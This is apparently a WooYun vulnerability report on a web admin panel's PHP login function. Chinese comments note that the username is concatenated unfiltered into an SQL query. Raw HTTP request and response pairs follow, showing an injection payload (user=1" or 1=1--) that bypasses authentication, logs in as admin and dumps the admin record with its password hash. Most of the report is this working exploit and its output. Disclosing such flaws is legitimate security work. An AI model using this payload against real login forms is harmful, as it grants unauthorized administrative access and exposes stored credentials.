WooYun.org

public function x()
    { 
        $user = $_POST['user'];	//注释：user直接用POST过来的参数
        $pass = md5($user.md5($_POST['pass']));
        $r = getAll($this->table,'username="'.$user.'" and passwd="'.$pass.'"'); //注释：sql语句拼接，user无任何过滤带入查询
		$r_lock = getAll($this->table,'username="' . $user . '"');
		isset($r_lock[0]) and $r_lock = $r_lock[0];
        //首先判断是否已经被锁定
		if (!empty($r_lock) && $r_lock['loginerror'] >= $this->login_error_time 
			&& ($r_lock['logintime'] + $this->lock_time) > time()) {
			$data['recode'] = 2;
			$data['error'] = '您的账户被禁止5分钟';
		} else if (isset($r[0]['id'])){
        	
            //判断是否被禁用
            if($r[0]['state']!='up'){
                $data['recode'] = 2;
                $data['error'] = '您的账户已经被禁止';
			}else if($r[0]['authority'] == 'full' && $r[0]['id'] == 1){
				$_SESSION['uid'] = $r[0]['id'];
				$_SESSION['username'] = $user;
			    $_SESSION['authority']['checkfull'] = 1;
                $data['recode'] = 0;
                $data['error'] = '登录成功';
            }else{
				$_SESSION['uid'] = $r[0]['id'];
                $_SESSION['username'] = $user;
                //拼接权限
                $auth = explode("|",$r[0]['authority']);
                foreach ($auth as $k) {
                    $tmp = explode(":",$k);
                    $_SESSION['authority'][$tmp[0]] = $tmp[1];
                }
               
                $data['recode'] = 0;
                $data['error'] = '登录成功';
            }
			
			if(!empty($r[0]['ip_addr']) && $this->iptolong($r[0]['ip_addr'])!='0'){//安全ip
					
				$ip=$this->iptolong($_SERVER['REMOTE_ADDR']);
				$ip_addr=explode('-',$r[0]['ip_addr']);
				
				if(!isset($ip_addr[1])){
					$ip_addr=$this->iptolong($ip_addr[0]);
					
					if($ip!=$ip_addr){
						$data['recode'] = 3;
						$data['error'] = '您的IP不是安全IP';
					}
					
				}else{
					$left=$this->iptolong($ip_addr[0]);
					$right=$this->iptolong($ip_addr[1]);
					if($ip<$left && $right>$ip){
						$data['recode'] = 3;
						$data['error'] = '您的IP不是安全IP';
					}
				}
			}
				
			
        } else {
        	if (!empty($r_lock)) {
        		//存在改用户名，密码错误，记录错误次数及登录时间
        		$update_data = array(
        			'loginerror' => empty($r_lock['loginerror']) ? 1 : ($r_lock['loginerror'] + 1),
        			'logintime'	=> time()
        		);
        		
        		if (($r_lock['logintime'] + $this->lock_time) <= time()) {
        			//已经过了禁用期限，清除登录错误次数，当然本次登录错误要记录
        			$update_data['loginerror'] = 1;
        		}
        		autoExecute($this->table, $update_data, 'update', 'id=' . $r_lock['id']);
        	}
            $data['recode'] = 1;
            $data['error'] = '登录失败' . (isset($update_data) ? $update_data['loginerror'] . '次' : '');
        }
        
        if ($data['recode'] == 0) {
        	//登录成功，记录登录时间，清除登录失败次数
        	$update_data = array(
        			'loginerror' => 0,
        			'logintime'	=> time()
        	);
        	autoExecute($this->table, $update_data, 'update', 'id=' . $r_lock['id']);
        }//$data['debug'] = var_export($r_lock, true) . var_export($update_data, true);
        echo json_encode($data);
        
    }
getAll函数在/application/helpers/db_helper.php里面
/******************************************
 * 查询所有数据
 * 参数 ：$where 预留条件变量
 *        $option 指定查询字段
 * return：array
 */
function getAll($table,$where='',$option=''){
	return arrayToLevel(json_decode(ikGet($table,$where,'',$option),true));
}

select * from webuser where username=’ $_POST['user']’ and passwd=’ d5($user.md5($_POST['pass']))’

var_dump(arrayToLevel(json_decode(ikGet($table,$where,'',$option),true)));

POST http://192.168.1.1/login/x HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.1/
Content-Length: 13
Cookie: PHPSESSID=e6b8bf28447de49246be1ee4b7876e49
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
user=1&pass=1
Response
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.1
Content-Type: text/html;charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Date: Fri, 24 Apr 2015 06:28:39 GMT
Server: lighttpd/1.4.30
Content-Length: 73
array(0) {
}
array(0) {
}
{"recode":1,"error":"\u767b\u5f55\u5931\u8d25"}

Request
POST http://192.168.1.1/login/x HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.1/
Content-Length: 23
Cookie: PHPSESSID=e6b8bf28447de49246be1ee4b7876e49
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
user=1" or 1=1--&pass=1
Response
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.1
Content-Type: text/html;charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Date: Fri, 24 Apr 2015 06:29:09 GMT
Server: lighttpd/1.4.30
Content-Length: 811
array(1) {
  [0]=>
  array(8) {
    ["id"]=>
    string(1) "1"
    ["state"]=>
    string(2) "up"
    ["username"]=>
    string(5) "admin"
    ["passwd"]=>
    string(32) "c0e024d9200b5705bc4804722636378a"
    ["ip_addr"]=>
    string(7) "0.0.0.0"
    ["authority"]=>
    string(4) "full"
    ["loginerror"]=>
    string(1) "0"
    ["logintime"]=>
    string(10) "1429847267"
  }
}
array(1) {
  [0]=>
  array(8) {
    ["id"]=>
    string(1) "1"
    ["state"]=>
    string(2) "up"
    ["username"]=>
    string(5) "admin"
    ["passwd"]=>
    string(32) "c0e024d9200b5705bc4804722636378a"
    ["ip_addr"]=>
    string(7) "0.0.0.0"
    ["authority"]=>
    string(4) "full"
    ["loginerror"]=>
    string(1) "0"
    ["logintime"]=>
    string(10) "1429847267"
  }
}
{"recode":0,"error":"\u767b\u5f55\u6210\u529f"} //登录成功